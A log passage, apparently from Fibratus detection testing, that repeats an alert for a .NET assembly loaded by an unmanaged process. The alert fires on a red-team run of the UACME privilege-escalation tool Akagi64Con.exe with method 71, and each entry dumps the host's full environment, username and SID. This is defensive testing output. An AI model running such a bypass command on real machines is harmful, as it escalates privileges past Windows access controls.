7ff9e6910000, checksum➜ 0, default_address➜ 7ff9e6910000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe, image_size➜ 495616, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 6601995826782797824, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:44+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7270293 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:05.638387 +0100 CET + Params: base_address➜ 7ff9e02e0000, checksum➜ 0, default_address➜ 7ff9e02e0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe, image_size➜ 2355200, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 6601995826782797824, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:44+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7270293 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:05.638387 +0100 CET + Params: base_address➜ 7ff9e02e0000, checksum➜ 0, default_address➜ 7ff9e02e0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe, image_size➜ 2355200, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 6601995826782797824, technique.id: T1055, technique.name: Process Injection, tactic.name: Defense Evasion, rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance 